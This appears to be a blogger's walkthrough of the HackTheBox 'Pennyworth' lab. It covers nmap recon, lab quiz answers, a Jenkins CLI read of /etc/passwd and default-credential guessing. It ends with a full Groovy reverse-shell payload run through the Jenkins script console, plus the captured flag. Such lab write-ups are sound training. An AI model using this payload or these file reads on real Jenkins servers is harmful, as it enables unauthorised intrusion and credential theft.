Skip to main content

Pennyworth (HackTheBox)

IP Address: 10.129.24.108

Initial Recon

└──╼ []$ nmap -sC -sV -T4 --max-rate 5000 -p- -oN initial-recon.txt 10.129.24.108 -vv
...
PORT     STATE SERVICE REASON         VERSION
8080/tcp open  http    syn-ack ttl 63 Jetty 9.4.39.v20210325
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
...
  1. What does the acronym CVE stand for? Ans: Common Vulnerabilities and Exposures
  2. What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for? Ans: confidentiality, integrity, availability
  3. What is the version of the service running on port 8080? Ans: Jetty 9.4.39.v20210325

Login enum

Checking the website will show Jenkins login page

Upon checking the network tab on Inspect:

  1. What version of Jenkins is running on the target? Ans: 2.289.1
  1. What type of script is accepted as input on the Jenkins Script Console? Ans: Groovy

Fuzz Directory

Fuzz directory to check for possible hits

└──╼ []$ ffuf -u http://10.129.24.104:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt

On research (I did not continue with fuzzing), the console script is found in /script

  1. What is the path of the Jenkins script console? Ans:/script
  2. What is a different command than ip a we could use to display our network interfaces’ information on Linux? Ans: ifconfig
  3. What switch should we use with netcat for it to use UDP transport mode? Ans: -u
  1. What is the term used to describe making a target host initiate a connection back to the attacker host and then accepting commands and executing them? Ans: Reverse shell

Looking for Vulnerabilities

Checking if CLI is enabled

└──╼ []$ curl -I http://10.129.24.108:8080/cli
HTTP/1.1 302 Found
Date: Sat, 11 Apr 2026 08:29:28 GMT
X-Content-Type-Options: nosniff
Location: http://10.129.24.108:8080/cli/
Content-Length: 0
Server: Jetty(9.4.39.v20210325)

Download CLI client

You need the specific .jar file from the target server to interact with its CLI.

└──╼ []$ wget http://10.129.24.108:8080/jnlpJars/jenkins-cli.jar
...
2026-04-11 03:31:40 (2.15 MB/s) - ‘jenkins-cli.jar’ saved [3318096/3318096]
...

Test File Read

└──╼ []$ java -jar jenkins-cli.jar -s http://10.129.24.108:8080/ help "@/var/jenkins_home/secrets/initialAdminPassword"

ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command

Test /etc/passwd

└──╼ []$ java -jar jenkins-cli.jar -s http://10.129.24.108:8080/ help "@/etc/passwd"

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

Consulting Writeup

Since I am stuck with testing the jenkins-cli.jar, I’ve consulted the official writeup of the machine. Testing the following users:password for login credentials.

admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1

Initial credentials are root:password

Gaining Foothold

Sending initial Groovy Payload

The following is the initial payload run from script

String host="10.10.14.134";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

With the following listener

nc -lvnp 4444

To stabilize shell, use:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Change directory to home and check for flag.txt

root@pennyworth:/# cd ~

root@pennyworth:~# ls -l
total 8
-r-------- 1 root root   33 Mar 12  2021 flag.txt
drwxr-xr-x 3 root root 4096 Mar 12  2021 snap

root@pennyworth:~# cat flag.txt
9cdfb439c7876e703e307864c9167a15
Royce Chua
Author
Royce Chua
Career changer with a background in physics and medicine, now working toward systems administration and network engineering. ISC2 Certified in Cybersecurity (CC), with Cisco CCNA studies in progress.

Related